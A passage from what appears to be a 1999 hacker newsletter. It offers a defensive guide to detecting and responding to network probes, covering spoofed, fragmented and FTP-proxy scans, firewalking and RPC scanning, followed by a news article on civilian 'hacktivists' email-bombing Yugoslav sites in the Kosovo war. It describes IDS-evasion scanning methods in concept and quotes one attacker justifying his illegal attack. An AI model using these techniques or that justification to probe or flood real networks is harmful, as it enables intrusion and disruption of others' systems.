a machine that is alive or dead.
This technique can also be used to generate many other simultaneous scans from other IP
addresses. A defending network would perceive that it is being scanned by several different
networks. The extra data can be missed by IDS nodes and can also be very hard to analyze.
Determining the real IP address responsible for the scan is possible in some cases, but usually not.
One way to tell if you are the victim of spoofed scans is to check for similar time to live values in
each of the scanned packets. If all of the incoming packets have the exact same time to live (TTL)
value, then this is suspicious. Conducting a traceroute to each of the IP addresses may allow you
to eliminate some of the spoofed sources. Some network scanners such as Nmap randomize their
initial TTL settings with a value between 51 and 65.
Fragmented Scan
In an attempt to hide their probes, network scanners may also fragment their packets. All IP
packets that carry data can be fragmented. For TCP packets, fragmentation can occur that places
the destination port in one packet and the flags in another. Network IDS nodes may incorrectly
reassemble or completely miss portions of the scan. Fragmentation that places ports in one packet
and flags in another is something that does not occur naturally on IP stacks.
Proxy Scanning
If a protocol or service can be exploited by a network scanner such that the service can make
arbitrary network connections, then the protocol can be used for port scanning. Some proxy
servers and most FTP daemons can be used to conduct port scans. The classic example is the FTP
Port Scanner in which a surrogate FTP server is used to make many network connections to a
target system. The FTP protocol allows for the client to specify which IP address and port the
server should send data to. Information returned by the FTP server can be used to identify open or
closed ports on the target system.
Finding Targets of Opportunity
Some scanning is only focused on one thing - finding vulnerable systems. This type of scanning is
subjective, but basically involves a lot of automation. There are some different strategies used by network
scanners to find vulnerable systems. Here are a few of them:
Wide Scanning
Very simply, a network scanner will scan large sets of IP addresses for a particular service or set
of services. Scanning usually encompasses 'Class B' ranges of IP addresses. This type of scanning
can be identified by two factors. One, the scanning is very sequential. It is so sequential that
computers not part of the range scanned don't see any traffic from the scanning host. Second,
follow on activity from the scanning host usually doesn't happen for some finite amount of time.
This could be a day or a few hours. It reflects the notion that a scanning program takes a long time
to complete. Once it is complete, the person running the scanner usually starts to test out the data.
Finding vulnerable servers using that service
When looking for vulnerable servers, many exploitable services have their own system of
organization. DNS is a classic example. If a hacker wants to find a list of DNS servers, there are a
variety of tools and databases that can be utilized. The same goes for IRC, Usenet News and web
crawlers. Probes that occur on your network may be the result of chance and be happening simply
because you have that service! Later on we consider what draws hackers to one network over
another.
Access Control List Mapping
Fire-walking
Very recently, a paper was released that detailed a technique dubbed 'fire walking'. This technique
combined port scanning and traceroute tools into one that could analyze the aggregate protocol
map allowed to a particular host. In other words, this allows remote users to map out a particular
set of firewall rules or access control lists.
SNMP
SNMP queries may be inadvertently allowed to firewalls and packet filters. If this condition is
true, then remote network scanners could be able to obtain the exact filter rules for your network.
Direct RPC Scanning
Normal RPC scanning (rpcinfo -p) sends a query to the rpcbind program which is more commonly known
as the portmapper. This query can ask for a list of all other RPC programs on the server. RPC programs
historically have always existed around port 1024, or usually below that. Several years ago, Solaris and
many other flavors of UNIX started to run RPC programs around port 32771. Many packet filter and
firewall designers were unaware of this situation and deployed access control lists that did not prevent
connections to these ports.
In the case of 'normal' RPC behavior, it is possible for an RPC program to be assigned a port slightly above
port 1024. If the firewall rules do not prevent this sort of connection, then the RPC service is directly
accessible from external IP addresses. The same goes for RPC programs that are assigned ports above port
32771. These also may be directly connected to.
Network scanners may search for these 'high' RPC ports by using port scanning to identify ports and then
conduct RPC queries to any ports that are open. If an RPC service is identified, it may have a vulnerability
that can be exploited.
WHY?
Figuring out 'why' a particular suspicious network event occurred can be a very challenging and daunting
task. The important thing to realize (and sometimes this only comes through experience) is that some things
can't be explained. When an explanation seems to elude you or your staff, don't let it consume more and
more resources. Prioritize your investigation and don't let it be hindered by not understanding exactly why
something happened.
For example, a server may have been rebooting sporadically and your staff suspects that a new denial of
service attack is being used. Sniffing, intrusion detection and system security analysis indicate otherwise.
Finally, a maintenance person discovers a faulty power supply. This example may seem all to trivial, but
occurs many times on modern networks.
Another example of a 'why' explanation is to consider the source of the security information. Many network
management intrusion detection systems are complex and have many threshold levels for causing alarms to
trip. If these threshold levels are drastically changed, then all of a sudden, there may be many system alerts
and possible intrusions. Try to identify any recent system changes that could attribute such activity.
Unfortunately, all suspicious network activity can not be ruled out. Network probes should be considered
hostile until you know exactly what you are dealing with. Why would someone want to break into your
network? You tell me! There are many reasons for breaking into networks. Are they looking to deface a
web page? Do you have political enemies that are network savvy? The good news is that you may have
detected their early network probing efforts and now you can act accordingly.
WHEN?
Knowing when something happened allows you to construct a timeline or order of events. The order of
events may be very crucial to determining the exact steps taken by hackers using network probes. Did they
attempt a DNS zone transfer before we deployed the new DNS server? Did the scan on the internal web
server occur after the firewall changes? These are example questions that depend on accurate time
reporting.
One key to determining the order of events is to use a common time source. The Network Time Protocol
(NTP) is very reliable, accurate and resistant to a variety of attacks. NTP can be used to synchronize all
network and server nodes with a very accurate and uniform time source. With all of them synchronized, log
analysis becomes a lot easier. I also recommend trying to keep all of your systems on the same time zone
clock. If you are unlucky enough to have servers in multiple time zones all keeping local time, then log
analyses can become very cumbersome. With one unified time clock, it may be easier to detect network
wide probes of your systems.
Having a good and reliable time system is also crucial if you want to enter any of the logs into a court case
as evidence.
WHERE?
When analyzing network probes, the question of 'where' is often overlooked. We are referring to the
physical and electronic location of all of the computers involved, including the security systems.
Identification of system locations is important to help understand and analyze recorded data. It may also
explain why some information is missing or inaccurate.
Confirmation of physical and logical location is often necessary when conducting an investigation. Your
network maps may not be up to date. There have been cases when a simple network connection mistake has
placed a vulnerable server outside of a protecting firewall. It may be helpful (and surprising) to obtain a
remote account and conduct network mapping probes to see how things are connected.
The use of Ethernet addresses can also be of great use when identifying the sources of spoofed IP packets.
Although Ethernet packets can be trivially spoofed locally, they can't be spoofed across the Internet. This
can help you determine which router or switch interfaces spoofed packets may have originated from.
Analysis of the packets indicates an automated probe of only the DNS servers. Other ISP security contacts
report their DNS servers have been scanned for similar ports. You theorize that the port 0 is being used to
remotely identify LINUX servers. This theory is further corroborated when you also realize that ports 21,
143 and 2049 have all had recent LINUX remote buffer overflow attacks published.
Rule #4: Determine if you are vulnerable
Continuing with this scenario, you do a quick inventory check of the DNS servers and discover that one of
them is a brand new LINUX install. The server is on the other side of the country and they won't be up for
another four hours. What do you do?
Every network security program should conduct regular vulnerability testing using commercial and free
network security tools. It is one of the best ways to determine if you are at risk to common network
attacks. But what if someone is probing you on a port that you have never heard of? What if they are
probing you on a port that you thought had no security problems? There are several things you can do.
First is to identify the port if it is not well known to you. Set up a network analyzer and collect some traffic
on that protocol. Analysis of the traffic may help identify it. There are a variety of proprietary network
protocols such as PC Anywhere. These may seem very strange and unfamiliar to you. Another technique
you could try is to take an inventory of all of your network software. This is unrealistic in a short time
frame, but usually identifies a variety of programs (and protocols) that could cause the traffic you are
looking for. If all else fails, consult the Internet news groups. There is a lot of open discussion about
network protocols and you may be lucky enough to find one about yours.
For example, when I first got my cable modem, I saw a variety of traffic to my computer that was UDP and
port 22. All of the packets contained two bytes of ASCII data that were 'NQ'. I had no luck finding out what
the protocol was until I stumbled onto a firewalls discussion list that was talking about PC Anywhere.
Once you know the target, try to determine the threat. Again, this is very subjective. I try to look for recent
vulnerabilities described in the various network security groups on the Internet. Recently, I've begun to
observe scanning for port 21 on a variety of firewalls and intrusion detection platforms I have access to.
Prior to this about three weeks ago there were several posts that could remotely exploit the Washington
University FTP Daemon. It makes sense that people are looking for FTP servers to attack because this is a
new vulnerability.
Of course the only way to know that you are vulnerable is to actually test the problem. You can be safe and
disable the service if you don't need it, but not everyone has that luxury. Getting your hands on the latest
exploits is usually not a problem. There are a wide variety of full disclosure security mailing lists and web
sites. There are also a wide variety of consultants available to help you with this sort of thing. Testing your
network lets you know what hackers and network scanners may see or already have seen.
Don't fall into the trap of having an operating system that an exploit isn't available for yet still having the
vulnerability. For example, there are all sorts of remote buffer overflows written for the LINUX platform.
Just because you are running a SPARC station doesn't mean you are safe. Ports of exploits to new systems
can appear at any moment and any hacker worth his or her salt should be able to port exploits between
systems.
If you are vulnerable then you may have a problem. First of all, you've seen scanning and you think you are
vulnerable. It would be wise to approach the box with caution as it may have been compromised. Second,
you need to figure out what sort of impact that box has on the network so you can decide what actions you
want to take to secure it. Can you down the box to make some patches? Is the box a single point of failure
for the network? Can you protect the box by making a firewall rule change someplace else? The important
thing here is to mitigate any negative impact on your network.
Using a port scanner on the LINUX server finds five open ports including FTP(21), IMAP(143) and
NFSD(2049). Your staff also confirms that the server is used for testing. Because of the malicious scanning,
the possible vulnerabilities and its lack of impact on the network, you decide to disable the server. You
connect to the west coast SSH gateway and disable the Ethernet port on the network switch, effectively
isolating the server in case it was compromised.
Rule #5: Tell Someone!
Continuing with this scenario, you send some encrypted email to your counterparts on the west coast. You
also leave some voice mail explaining the situation. Their security staff will conduct a forensic analyses of
the server. Trying to keep everyone in the loop, you document the situation and email your management
and selected operations people. You also contact the corporate security staff.
It may seem surprising, but many security problems and events do not get reported for a variety of reasons.
These reasons are a combination of technical and political factors that prevent a clear reporting system. We
will discuss some of the specific reasons that security incidents don’t get reported.
Blame
Many system and network administrators do not report security events because they believe it will reflect
poorly on them. An administrator may have previously boasted that "no one" can break into their network.
Managers need to realize that these claims are ludicrous and should expect to see monthly security reports
detailing suspicious network activity.
Chain of Command
Who should a security event get reported to? If an organization has not stated how to handle security
events, then when one happens it will get handled ad hoc. Most people correctly assume they should tell
their immediate supervisor. This is true, but if a security department exists that has been trained to handle
security situations, then they may be kept out of the loop. It may also be unclear what your supervisor may
do with the information.
Management Indifference
It may be difficult to explain exactly why a specific type of network activity is 'bad' to inexperience
management. Technology marches on and it is difficult to keep up with it for some people. However, this
should not prevent an employee from reporting a possible security situation. Don't be afraid to use
analogies to get your points across about network probes. Be prepared to demonstrate how an attacker
could be probing your network to gain proprietary information.
Management Overreaction
The opposite of the above example is true. If a network manager is not accustomed to experiencing
network probes and scans, then the first time they occur may be traumatic. The best way to handle this is to
be up front about the threat to your networks when you talk with your manager or supervisor. Be wary of
any drastic measures taken by your management such as calling the FBI or the newspapers. That may not
be the best course of action for the given situation.
The corporate security staff contacts you immediately. They have hired computer security consultants to
conduct a penetration test of the corporate networks. So far you have been the only person to detect and
report the scanning.
Rule #6: Continue to Monitor
On a different day, one of your TCPDUMP sensors starts to collect a variety of suspicious traffic. Someone
had caused a bunch of RealSecure alarms a few days ago. You responded with placing some TCPDUMP
sensors on your network that collected anything from the suspicious IP addresses. It is strange that none of
this traffic has caused a RealSecure alarm. What could it be?
Once security probes have been noticed, the most important thing that a network administrator can do to
their network is to make sure it is monitored. Depending on you network, you may be able to leverage your
operations center. You may also have to place extra intrusion detection sensors. Some people may even
wish to deploy packet analyzers. Regardless of your technique, it is important to keep a watchful eye for
any suspicious activity. The heightened state of alert exists because your network has been probed and you
have made a determination that a network attack may be imminent.
When leveraging any operations center, its important that you give them as much information on how to
contact you as it is to accurately describe the security situation. In security situations, most operations
personnel will contact you when anything suspicious occurs. Unfortunately, this may include normal
network performance problems such as routers failing and Windows NT machines blue screening for no
reason. Giving an operations center access to the intrusion detection systems is also a good thing.
Hopefully this has already occurred on your network. Leveraging quality 24x7 people can only be effective
if they are properly trained and have well planned security response procedures.
If you choose to deploy extra intrusion detection infrastructure, then you really have two choices. You can
change the current rules used by the IDS to be more sensitive or you can deploy completely new systems.
All IDS products are 'tuned' to a particular network. Thresholds need to be set and when they are exceeded,
alerts and events are recorded. In a hostile environment where an attack may be imminent, lowering these
thresholds may record extra probing from an attacker. It will also record more false positives. Deploying
more IDS platforms may also be an option. If you have portions of your network that are not covered by the
current set of IDS platforms, then deploying additional sensors may expose further attack or network probe
activity.
Some security gurus may also wish to deploy a set of packet analyzer filters. The most common of these is
TCPDUMP. These packet analyzers are deployed with similar strategies to packet based IDS platforms.
You want to expose them to as much traffic as possible. In a switched environment, there is a possibility
that you may want to run TCPDUMP on a web server or some other isolated production server. If you do
this, keep in mind that you should try to obscure the sniffing program. Most network attackers are very
familiar with network packet monitors. If they compromise a server that has a network analyzer running,
they may find these logs and delete or modify them.
When constructing packet filters to monitor suspicious traffic there are several strategies. You can log by
destination port, destination address, source address or for a specific packet signature. Watching for
specific destination ports can be very effective if you are in an environment where those ports are not
active. Consider monitoring the network for all IMAP traffic which may be a service that a network
scanner is targeting. If you do not have any IMAP servers, then scan attempts for this service will stand out.
Sniffing all HTTP traffic in a web environment would not be a good idea unless you had some
sophisticated analysis tools to deal with the barrage of recorded data. The same rules apply to destination
addresses. If you have busy server, then logging all traffic to it may not be a good idea. But if the server is
not heavily loaded, then recording all traffic may be an option. Sniffing based on the source IP address or
source IP network may also find interesting activity. And finally, if you know or suspect the scanning
techniques in use by a hacker, consider writing specific packet capture rules. A very easy example of this
type would be to record any FIN-SYN packets. Hopefully your IDS is doing that already though.
Analysis of the traffic shows that the attacker is directly probing for RPC ports in the 32700-32800 range
only on your Solaris servers. They must have performed some operating system fingerprinting last time
they scanned your network. Looking at the traffic, there are an equal number of packet to each Solaris
server except for two. Both of those have a third party backup program on them which uses an open RPC
port. Sure enough, the scanning has focused in on these two servers. Your interest becomes very intense
when you realize that there was an attempt to spawn an XTERM session from one machine to the attacker's
IP address.
Rule #7: Contact the Source
Continuing with this scenario, after consulting with your security staff, you decide to contact the ISP where
these RPC scanning events are originating from. You get all of the facts together and find the 'abuse' point
of contact on their web page. Luckily, the ISP is in the same time zone so you can call during normal
business hours. The ISP security manger tells you they had one of their LINUX DNS servers compromised
and used to scan other networks. They are sorry for the inconvenience and assure you it won't happen
again.
When you choose to contact another network organization that is part of the Internet, you must keep a lot of
things in mind. The most important thing you can be is organize and present your information clearly.
Separate your conclusions from your solid data. Allow the person you are contacting to think about the
situation for a moment. Don't demand immediate action. Here are some other guidelines to use when
making contact:
Don't expect to talk to someone right away
Other security people are just like you. They get sick, go to lunch and take vacations. It is not unreasonable
to contact an organization and find your security point of contact unavailable. In this case, you may have to
deal with someone who is less skilled in security terminology or network administration. When this
happens I like to ask for anyone who operates the servers or routers. Usually these people are very capable
and can help analyze security events.
Language
If you attempt to contact foreign countries to chase down suspicious events, you may encounter someone
who does not speak your language. English is very common worldwide, but there is no guarantee that you
can use it to tell someone about a security incident. Some cultures can read English better than listening to
it so consider sending emails or even fax communications. If you have any non-English speaking assets in
your organization, it may be a good opportunity to tap them for translator duty.
Time Zone
Most commercial networks have some sort of 24x7 operations, but security gurus still seem to keep normal
daylight hours. The person you are calling may be asleep. Realizing this, you may be lucky enough to get
an organization that realizes the importance of your call and follows a procedure to wake the key
individuals up for some analysis and hopefully some answers. On the other hand, you may also call and get
an answering machine. In this situation you should leave concise information and multiple points of contact
on your end.
You may be talking to the hacker
In some cases, the person listed as the security point of contact may actually be responsible for the scanning
of your network. Many hackers get jobs at ISP and other commercial network organizations. Many of them
even get jobs in network security capacities. It is not unthinkable that these individuals may abuse their
powers. Some telltale signs of this may include apathy to the situation, denial of the events and even open
hostility. If nobody asks you for your name, telephone number or email address then something may be
amiss. If the person has any knowledge of the scanning that you did not volunteer, then this may also be an
indicator they are hiding something.
They might not do anything
Some network organizations are very busy. In rare cases, the people you contact won't do anything. Some
ISP networks have an attitude that they provide unrestricted connectivity for their users and aren't
responsible for their actions. Other organizations will help you, but are so busy with other security events
that it may take some time before they can handle your complaint. Providing clear and concise facts about
the incident can make their job easier and get quicker results for yourself.
They might do to much
Depending on what the situation is, your information could get some people fired, kicked out from the ISP
and even sent to jail. I've had at least one ISP tell me they have "black listed" an individual for hacking.
Some security events are honest mistakes, but it is possible for your point of contact to overreact and take
some action that you are not comfortable with. For instance, an ISP may place a rule in their outbound
packet filters that prevents any traffic to your network from theirs. This is very secure, but now nobody
from that network can get to your web servers, send email or play Quake.
They may have had a break in
During many security situations, the people you are contacting may have suffered a security compromise. If
this is the case then either they know it or they don't. If they know about the break-in, then they may be
forth coming with all sorts of information. They may also be deceptive and try to hide the incident. If they
do not indicate that they have been compromised, but you think they have, it's very important to try and get
this information to the correct people. Telling a receptionist isn't going to help the problem get fixed unless
you need his or her help to find the correct people. Taking a chance and calling a webmaster, the sales line
or even customer support will usually get you within one or two phone calls of the correct person to talk
with. They may ask you to work with them in analyzing and tracking down hackers. Be carefully not to
discus any proprietary network information or security invents that do not directly involve your point of
contact. This will shield you from inadvertently compromising someone's right to privacy.
Everything you say may be used against you
It's been said before, but I'll say it again. All of the conversations, intrusion detection events, logs, packet
dumps and reports that you or your staff are involved in may be admissible in a court case. Be careful who
you give logs to. You may or may not want your logs used in a court case or even have you or members of
your security staff called as witnesses in a trial. I'm not going to preach moral values of network security,
but it might not be in your best interests to assist some other network organization half way across the
country to prosecute a hacker. Of course the corollary to this is true also. Wouldn't you like it if another
security expert was willing to testify that they detected probes from the individual(s) on trial for breaking
into your network? Another aspect to keep in mind is to only give out log information to people who truly
need access to it. The data can contain a variety of privacy information such as passwords and network
usage. Only give the data to people you feel have a need to know and can effect responsible changes to
prevent further network abuse.
Email may have been compromised
One last comment is to think twice before sending security event information over email. Email can be
easily compromised. However, monitoring a large volume of email traffic may be outside the scope of a
hacker. I like to email points of contact that have multiple accounts and choose one that is not on the
possibly compromised network. Also consider the use of encryption.
Final thoughts:
Be professional when you handle yourself with other people outside of your organization. If you are in the
business of selling Internet access, professionalism and common courtesy can take you a long way. The
security community is very small and you may be surprised how often you'll run into other security people
from different organizations.
You are satisfied with your analysis and resulting conversation about the RPC scanning with the ISP.
However, when writing the summary report you realize that the scanning did not originate from the ISP's
DNS server, but one of their file servers. There is a good chance that they have been further compromised
and do not know it. You review your logs once more to confirm your suspicions and then contact the ISP
once again.
Rule #8: Consider Telling Outsiders
When security events occur, you may want to consider getting the word out to other Internet groups. There
are a variety of outlets for this sort of information. What is right for you depends on the situation. Consider
telling other organizations through the following means:
FBI or Authorities
The FBI and other authorities are continually getting better at tracking down hackers. The United States
military also has an excellent program to track down suspicious network events. Regardless, the security
events that you wish to bring to attention by these organizations should be something new or serious
activity. What is this sort of activity? I would say any activity that spans multiple networks or
organizations. An example of this could be organized targeting of web servers that accepted credit card data
at multiple locations at multiple companies. Another reason to contact the authorities is if you have
information that could be useful to an ongoing investigation. Many security events are covered in the media
and your information could be related and prove useful.
CERT Organizations
Computer Emergency Responses Teams track network security events and in some cases, will directly
respond to them. Most people have heard of CERT advisories. Some of these advisories do not have
vulnerability information, but warn of hacker activity. Information that you report to CERT can help
produce better and more timely advisories. If you think that network scanners are looking for a new
vulnerability, then CERT can use this information when issuing new vulnerability advisories. There are
many different CERT organizations. If you are in the United States military, you should report security
incidents to your branch's CERT agency. There are many CERT organizations that span international and
corporate entities. Choosing which CERT agency to report an incident is sometimes a difficult task, but can
get you more focused support.
Mailing Lists
In some cases, reporting scanning activity directly to a security mailing list can be beneficial for a variety
of reasons. First, the information is very timely. Readers of the mailing lists are there to exchange
information about new security vulnerabilities and your report of network scanning may spawn discussion
as to what it could mean. Second, other people that have had similar network security events may come
forward with other information. They may post to the mailing list or contact you directly. One word of
caution though, hackers and malicious individuals also have access to these mailing lists. Don't disclose any
information about vulnerabilities in your network or unique information about your network such as IP
addresses or domain names. You may even want to get a second shell account just to send email to these
mailing lists. Free web based email services such as Hotmail are very useful for this sort of activity.
Security Web Sites
There are also a wide variety of security web servers on the Internet today. These sites track vulnerabilities
and hacker activity. Writing a story or submitting some content about recent scanning activity may help
find a solution to the problems. Follow the same sanitation rules with your content to prevent drawing
undue attention to your network.
Company Outsiders
In some cases, it may be appropriate to raise the level of concern at your company. If more money or
resources should be involved with network security, then telling Vice Presidents and other upper corporate
management may get you some results and raise awareness. In some cases, CEOs and CIOs may have
misconceptions about the current level of network security. There is nothing like a security event to bring a
little reality to the situation.
The Media
Bringing the media into a security situation is usually a recipe for disaster. Most security experts agree that
the last thing you should do is to tell other people how secure you are or tell them that you are under
network attack. This is a magnet for hackers. You might as well hang a sign on your web page that says,
"Hack Me!". Realistically though, the media can be used to tell your customers about your network security
if it is done right. If you have firewalls and intrusion detection systems, then there is really nothing wrong
with telling people that you have firewalls and intrusion detection systems. Just don't make the leap and
state that you have "impenetrable" security. With security incidents, care must be taken to present a positive
image about your company or network without reflecting poorly on yourself. Press releases are an excellent
tool for this purpose.
Rule #9: Determine What Attracted Attention
Any investigation of suspicious activity should attempt to conclude what attracted the network scanning in
the first place. By attempting to discover this information, you may prevent some scanning in the future.
Hackers tend to be opportunistic. Unless they have a bone to grind with you, most malicious hackers are
simply looking for vulnerable servers to compromise. Here are some things that opportunistic hackers look
for:
Default Web Server Splash Pages
One of the easiest ways to quickly assess the security of a network is to visit each of its web servers and see
how many of them display the default Internet Information Server or Apache splash pages. These can
usually indicate recently deployed systems, development networks or systems that are not maintained that
well. All of these may have security problems. The combination of the security possibilities and the lack of
maintenance can be a green light to most hackers.
DNS Entries
If your DNS server has names for network nodes such as 'test-linux-1', 'guest' or even 'web-development',
then these names could attract a hacker's attention. Naming things by their function ('router1', 'firewall-3',
etc.) tells your staff and the entire world exactly what the operation of a particular network node is. If an
attacker is looking for a particular exploit to try, they may consult your DNS server to find a target. In some
cases, poorly maintained DNS entries can also indicate a poorly administered network. Many hackers
(correctly) assume this also means poor security. A good example of a DNS problem is the advertisement
of RFC 1918 addresses through normal DNS queries.
Default Exploitable Services
Many hackers will conduct a quick limited probe to find out how secure or unsecured a given network is.
What they may be looking for is a group of computers not protected by a firewall and offering a variety of
services such as DNS, TELNET, FTP, SMTP, HTTP and RPC. For example, if a hacker does conduct a
quick port scan of a web server which results in only port 80 being active, then the hacker may conclude
that the site is reasonably secured. Compare this to a port scan of the web server that discovers twelve
active ports. Each situation represents a different level of perceived security posture.
Press Releases
Nothing draws attention to your site like the media. If your company or clients to your company have
media exposure, then it follows that some hackers will get the idea to try and scan or hack you. At least one
ISP I am aware of was dismayed when one of its customers actually challenged hackers to break into their
web server. The ISP suffered fratricide when attacks on the web server spilled over to the operations center.
Internet Relay Chat
Running IRC servers is an easy way to attract hackers. Many hackers stereotypically spend hours on end
chatting about a variety of topics. When hackers disagree with each other, they will use a variety of denial
of service attacks to disable the other person's network access. In some cases direct attacks on the other
person's network will also ensue. Having network users that spend time in IRC chat discussions is also an
advertisement to hackers. The debate to allow or not to allow IRC access from your network may be abated
by providing free access to a shell accounts outside of your network, or by placing an IRC server outside of
your firewall.
Hacker Web Pages
Nothing attracts hordes of hackers like a hacker web page. Many of these pages suffer network attacks.
Many of these pages are also seen as 'trophy' pages that various hacker groups would like to claim credit
for hacking. If you run a network that has this sort of information, you may be experiencing a certain level
of security events simply because people are poking around your network looking for ways to break into
the hacker web page.
Do you have hackers working for you?
If you have a hacker working for you or at your company, then the suspicious probes you may see could be
coming from the hacker during off hours or from the hacker's friends (or enemies).
Could it be corporate espionage?
Not all hacking events are random acts of opportunity on a hacker's part. The suspicious events could
indicate a coordinated effort to compromise the security of your network to obtain some level of
information. This information could include email, trade secrets, plans, spread sheets or any number of
other proprietary pieces of information.
Internal Security Events
If you suspect that an internal person in your company is conducting network probes or doing something
nefarious, then you should follow some loose guidelines when analyzing and presenting evidence.
Limit your opinions
Do not spread rumors or false accusations about any individual suspected of abusing their network access.
This could be viewed as slander in a court case. When presenting suspicious internal security information
to other individuals, do not associate any suspected individuals with the data. Try to sanitize the data before
presenting it to any group of people. Once someone is branded a hacker, they have a tough time loosing
that image even if they are shown to be innocent. Also keep in mind that other people may not have the
same opinions about security as you do. Depending upon their position and yours, you may have to work
out an agreement or get an interpretation of your network security policy.
Document, Record & Save
Try to save as much information about the suspicious events as possible. In most cases, these events are
more powerful and damaging (and damning) than your word alone. Make sure that the records are in a
secured place where they cannot be tampered with. Physical media such as CD-ROMs are ideal for this sort
of application. These records will become very crucial in any decisions to terminate an individual. They
may also play a role in any police or FBI investigations.
Involve Human Resources and Corporate Security
Most companies have an HR department that deals with personnel issues. Some companies also have a
corporate security group that handles internal security issues. Involving both of these organizations can
help protect your interests as well as the company's . They may also have other information that you don't
have. Consider the example where an employee has submitted their two week notice and has started to hack
the network form the inside. This is a very serious situation which you may have only perceived as a minor
network nuisance. If you are the technical subject matter expert on security, you may be asked by these
groups to assist in an investigation.
Avoid Target Fixation
We are all human. Chances are you would not like your actions to be monitored on a regular basis. Small
acts such as taking office supplies for home use seem much more serious when an investigation is
underway. The same is true for network security investigations. For example, just because a person is
visiting hacker web sites does not mean they are a hacker. Focusing to much on a person's network
activities can provide a myopic view of the big picture.
Challenge The Individual
Once the proper authorities are involved and there is agreement that the individual is doing something
strange on the network, the individual should be challenged. If this is done correctly, then the individual
will be surprised and may give themselves away through statements they make. That is of course if they are
hiding something. You should carefully use these meetings to find out what the individual was doing. Ask
direct questions about network usage and try to find anything that can explain the suspicious network
traffic. If you hit a break wall, you may want to tell the individual what sort of traffic was observed.
Stereotypically, this is when the person confides that they let Bruce from the accounting department use the
computer during lunch time.
You should also have a physical inspection of the computer performed while the meeting is taking place.
These may seem like very extreme measures, but if an individual is to be terminated immediately, the
chance to discover Trojan horse programs or logic bombs needs to be addressed. Also a physical inspection
of their computer may provide contradicting evidence to their testimony or explanation of their activity.
Final thoughts:
Computer analysis should best be left to computer experts. However, since security events involve people,
the best chance of catching an internal hooligan may come from an ex-police officer or an ex-investigator.
People with these backgrounds and some good computer knowledge are becoming very popular to handle
computer crime investigation. If your company has these assets, then I strongly urge you to involve them in
computer security incidents.
Final - 'Final Thoughts'
Following the steps outlined here may save you a lot of time and headaches when dealing with network
probes and security events. I urge you to discuss these concepts with your staff and management. You
should also discuss this information with any other people in your organization associated with network
operations.
The one thread that holds all of these rules together is 'common sense'. Analysis and termination of network
probes and security events occurs in the human world. It does not occur in the computer world. Dealing
with other people can be tricky. Be nice. Be courteous. There are some people at your company and at
other networks that won't be easy to work with, but this is a fact of life that usually rears itself during a
security event. Act professional and stick to the facts. For a variety of reasons, many people tend to forget
these when placed under pressure in high tension situations. Good luck!
[EoA]
@HWA
33.0 Civilians go online to fight
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Forwarded From: Luther Van Arkwright
http://www.foxnews.com/stage11.sml
E-Strikes and Cyber-Sabotage:
Civilian Hackers Go Online to Fight
7.19 a.m. ET (1119 GMT) April 15, 1999
By Patrick Riley
Richard Clark is not in the military, but when he heard news reports
earlier this month that NATO's Web site had been attacked by Belgrade
hackers, he wanted to do his part to help the allies. So he turned to his
keyboard.
Using software available on the Internet, the California resident sent an
"e-mail bomb" to www.gov.yu, the Yugoslav government's main Web site. On
April 3, a few days and 500,000 e-mails into the siege, the site went
down, Clark said.
Clark does not claim full responsibility for the cyber-sabotage; he
assumes others may have had similar ideas. But he is confident he "played
a part."
He is just one of untold numbers of civilians on both sides of the
conflict who have gone to battle from their desktops, raising new
questions about the role of civilians during times of war.
The Internet Onslaught
Although classified NATO or Yugoslav information is not connected to the
Internet, tactics like e-mail bombing — sending mail non-stop to the same
address until it floods its server — can still cause major trouble.
Crashing public Web sites could cut off main channels of propaganda or
disrupt important budgetary information that militaries do store online.
"If you got the right access you could actually turn their machines off,"
stated Clark, who said he served in the Army and has worked for the
Department of Defense and the FAA, and now runs a private firm which sets
up computer networks. "That has a whole snowball effect."
But he admits his was a low-tech attack. He likens it to "stuffing a
T-shirt down your toilet and flushing it."
"There's probably real hackers out there trying to do it, doing things
that are far more sinister than what I was doing," he said.
Indeed this appears to be the case. The Boston Globe reported that an
American hacking group called Team Spl0it has broken into several Web
sites and posted statements such as "Tell your governments to stop the
war" and a coalition of European and Albanian hackers calling themselves
the Kosovo Hackers Group has replaced at least five sites with black and
red "Free Kosovo" banners.
On the other side, in addition to the attacks on the NATO site — suspected
to be the work of Serbs — Russian hackers have gone after U.S. Navy sites.
Any damage caused by such stunts, however, is often quickly remedied — the
Yugoslav site was back online soon after its early April troubles.
And the biggest attack on Yugoslavia's information infrastructure has come
not from the hands of hackers but from NATO bombers blowing up bridges
used to carry wires, and even from the Yugoslav government itself
dismantling communications systems to deprive its people of outside
information.
Vigilantes and 'Hacktivists'
Still, encouraging civilians to participate in a diplomatic or military
conflict "would set a dangerous precedent," said John Vranesevich, founder
of AntiOnline, a Web site that tracks the hacking culture. He worries that
vigilante "hacktivism" in the name of a nation could have War Games-like
consequences.
"You could have shut down communications to a country and all of a sudden
it looks like something our country did on an official stance," he said,
adding that diplomatic relations with Beijing were strained a few years
back when a site run by hackers Legions of the Underground posted a
declaration of war against China.
"I think hacking is a bad idea, no matter what it's directed at," said
Peter Tippett, president and CEO of the International Computer Security
Association, a Reston, Va.-based consulting firm.
Such terrain should be left in the hands of the military, he said. "If the
military thought it was appropriate to attack the infrastructure of
Yugoslavia they would certainly do it," he said. "They can do it if they
want to and they would be far more effective than a kid with tools of the
Internet."
The Department of Defense, the State Department and the FBI's National
Infrastructure Protection Center all declined to discuss ongoing
cyber-warfare. The Department of Justice did not return a call for
comment.
Clark hopes the military is doing its best to hack Serb systems. "It would
seem to me that you'd want to use all your assets at a time like this," he
said.
He says his own vigilantism is therefore easily justifiable. "This is war
and everyone should do their part," Clark said. "I think the illegality
stops when you're at war, really."
Brief Triumph
But before Clark could revel in his victory too long, he got an unpleasant
response from his Internet service provider. The ISP, Pacific Bell, cut
off his service. (However, he said, he can still log into his e-mail
account through a friend's computer.)
While he expected the Internet and phone company might inquire as to his
activities — especially if the mail had bounced back and clogged PacBell's
server — he said he didn't expect such punishment.
A PacBell spokeswoman said Internet behavior like Clark's violates its
spamming policy — and war is no excuse for that. "In general, they don't
change their policies based on what's going on in the world," she said.
"Somebody else could come back and say they need to spam this dog site
because 'they didn't take good care of my dog.'"
"How, in a time of war, can my ISP cancel my account for attacking the
enemy?" he asked via e-mail. "This is not right. We can pound these
military targets with bombs, but a private citizen cannot hack the
enemies' Web presence? This is just ludicrous!!"
-o-
Subscribe: mail majordomo@repsec.com with "subscribe isn".
Today's ISN Sponsor: Hacker News Network [www.hackernews.com]
@HWA
34.0 Video cameras and microphones in your system also a target for hackers
